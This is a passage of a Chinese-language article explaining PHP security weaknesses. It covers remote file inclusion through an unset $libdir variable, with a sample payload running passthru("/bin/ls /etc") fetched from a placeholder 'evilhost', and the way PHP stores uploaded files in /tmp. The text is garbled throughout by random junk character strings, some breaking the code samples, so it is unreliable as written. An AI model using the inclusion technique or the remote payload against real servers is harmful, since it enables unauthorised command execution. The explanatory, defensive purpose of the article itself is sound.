2 x6 P1 I1 U% K& T例如:8 J- u1 G5 N2 |6 u
PHP代码 * H- W _. z& ~- d/ V 7 C" @2 F* y& j8 J ~& t1 }2 W. F& @; g 1. <?php % y! }* L2 `4 n0 m% t1 C; x1 ]5 I
2. include($libdir . "/languages.php"); # i2 q5 C3 O9 A! C- C: u* ^+ t
3. ?> 6 F. H4 O0 m2 d- z
1 d' L3 m0 }# c. C2 g& z& N% C
上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容:* H3 v* J9 R% ~1 m
PHP代码; x( s3 I: O; U+ u1 ^- u% Q+ N
- W% {4 g5 S% B& h: D
1. <?php 3 g! u; w, M& D3 f7 x. O2 [ Z: S, b
2. passthru("/bin/ls /etc"); - a; K' I# A0 V: \* C
3. ?> , n- ?3 x. G0 E6 G8 C + o" E3 b2 @" c8 F" @ 然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。 " i, P# e, P$ h" V" Q4 B, ~' }" I& u
需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。* n5 V0 P, }% r1 I4 @+ r
1 O7 I& u+ q8 X# k
如何通过文件上载进行攻击? $ h: T. ^, `3 n * ^2 g" C" W1 U0 G/ CPHP自动支持基于RFC 1867的文件上载,我们看下面的例子: : h6 C- M5 Z& I5 _$ J$ qPHP代码 7 @/ M" | I5 C( A+ E) s5 o8 e" Q6 @+ J3 ~9 j; e% N. A9 k4 ?; E
1. <FORM METHOD="POST" ENCTYPE="multipart/form-data"> , T3 q& ~3 I9 x& i* j 2. <INPUT TYPE="FILE" NAME="hello"> " \/ r+ I y m- D6 R6 m$ T
3. <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> + i, P2 g! W P1 b: |( n* W. ] 4. <INPUT TYPE="SUBMIT"> - h" J; ^9 ?/ A% B
5. </FORM> & J. e, z2 ~# _9 a x
* O C. U. x. C9 n; U0 |; I D! v 上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。- z1 x3 [/ I* O) h* V0 v
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。 o) p) @1 S# U" V k; v* w* T. D- o: r" m. g& I; s
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。 7 A& k9 M9 I% g S! H6 l8 Y0 r2 w 3 Y; [) I# ~+ Z+ a: \& j大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:9 A9 }! u T3 I' h, k
PHP代码 m5 ~2 N0 y* p+ ]# h
! a8 @7 Y3 e. N* K- Q3 Y
1. $hello = Filename on local machine (e.g "/tmp/phpxXuoXG") 1 U! |# B4 o9 h/ T3 `7 b% ?6 _ 2. $hello_size = Size in bytes of file (e.g 1024) 1 J% X3 Y; u: e: s! P: r
3. $hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt") ! C' N9 X0 \- P+ k
4. $hello_type = Mime type of uploaded file (e.g "text/plain") + _% z3 t4 l" Q) b0 K: M